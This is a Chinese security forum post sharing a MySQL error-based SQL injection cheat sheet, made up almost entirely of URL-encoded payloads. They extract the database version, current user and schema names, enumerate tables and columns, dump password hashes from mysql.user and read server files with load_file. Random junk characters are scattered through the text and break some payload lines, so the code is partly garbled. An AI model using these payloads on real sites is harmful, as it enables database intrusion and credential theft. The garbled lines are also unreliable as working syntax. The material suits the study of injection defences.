找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2061|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
. t9 b/ S: c) p+ E9 A! b0 I8 v6 V% x4 ^
0 T2 f* r7 C. A( S& v
Mysql暴错注入参考(pdf),每天一贴。。。) l! k- P" d' ?

% k! t" V& B8 Y* T9 VMySql Error Based Injection Reference
- z$ S8 a7 v& F[Mysql暴错注入参考]
$ u* B, p" G# CAuthornig0s1992/ u& i9 Q* V5 O" ]' D* I# P: o3 v: [- |
Blog:http://pnig0s1992.blog.51cto.com// k8 M" b$ K2 f! o" S
TeAm:http://www.FreeBuf.com/
" M) I" L# g+ Z% w6 a5 F  I  \5 WMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功9 B# h9 v/ g$ S$ W  }* ]; w: T. [
小部分版本使用name_const()时会报错.可以用给出的Method.2测试& a" y8 f$ ]/ w
查询版本:4 H* f; K4 ^3 ^1 a- v7 C# f) F, F
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+1 x! ?; Y3 r* k4 B
join+(select+name_const(@@version,0))b)c)3 \& ?/ m+ N9 m
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
- b; p  |$ K/ i5 M, Gup by a)b)
4 V0 d* }* i' M, L% N2 a" q查询当前用户:# E' U- G5 s( |0 p* V; {& H1 I
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)8 ?- p4 G8 x2 t( k0 S' f7 D7 V! Y. G
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r# p7 n4 w5 Z0 G+ w
and(0)*2))x+from+information_schema.tables+group+by+x)a)# `& v( T4 i% R. Y* O$ H& h
查询当前数据库:
( N" f* b* n/ I2 A, ~+ [) a8 s* d9 wMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
8 N: S# R9 A4 _- J6 [# kMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
+ Y- c1 r0 s- r; Y' E8 W  R5 bor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)# g3 L/ V3 t# i4 K  ~3 m* Y& y# @
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+6 v) t( W: {; L$ F
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
6 u# [' f0 @& \" a顺序替换
& a: K5 j' B* }- a4 \/ W爆指定库数目:* E% i& r& V: m9 O: p2 K
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t! V3 Y3 @! Q. H+ u5 R+ n5 Y
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
. q3 |! Z! h/ |. q9 e7 M) D+by+x)a)+and+1=1 0x6D7973716C=mysql! ~5 E2 K/ m: z8 r0 K
依次爆表:, J5 N% W2 r! ?+ ?
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t& P( y) X% i! ^& \. {
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
6 V: J, I* c; t9 D/ [4 j9 _6 zbles+group+by+x)a)+and+1=1
; f0 I, V! |) y; ~1 B2 o4 C0x6D7973716C=Mysql 将n顺序替换5 g5 I1 A9 K4 c8 S. o0 n
爆表内字段数目:; O/ X- B3 R! t( E+ K# m0 a% f- s! K
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
1 w) P9 p" O3 A  v: z+ u4 a+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran% ?8 I% z1 q" V
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1: z4 `+ M' j+ V+ H3 i) K5 b
依次爆字段:
* ~3 }: H: i: S3 Y0 Z4 [% C1 P* e. Qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
) {. A; g/ M1 W; o9 E$ K. _% B# `; P; e+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1& \% T4 T& p$ U1 M  A1 \
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
& W' a3 s5 ?8 ?  n依次暴内容:
( U2 h- y$ a; [9 ^+ r+ rand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche* z9 W" l. p" W8 C+ w! d
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
9 M5 G* U! U1 Q$ B0 M  r将n顺序替换
* g4 f- i$ K( S6 ^8 w爆文件内容:: K- N4 f5 i* t: d; V" o
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a2 J: L" J* y/ J
from+information_schema.tables+group+by+a)b) + s2 |7 \! n4 v3 M
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
  K( x; ]% L" T8 x5 A: ?% g( oThx for reading.
  l9 w% I# n! W: Z, J+ x; u* m, r+ y" ~! W" u5 F
不要下载也可以, $ d, @# t7 H$ Z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表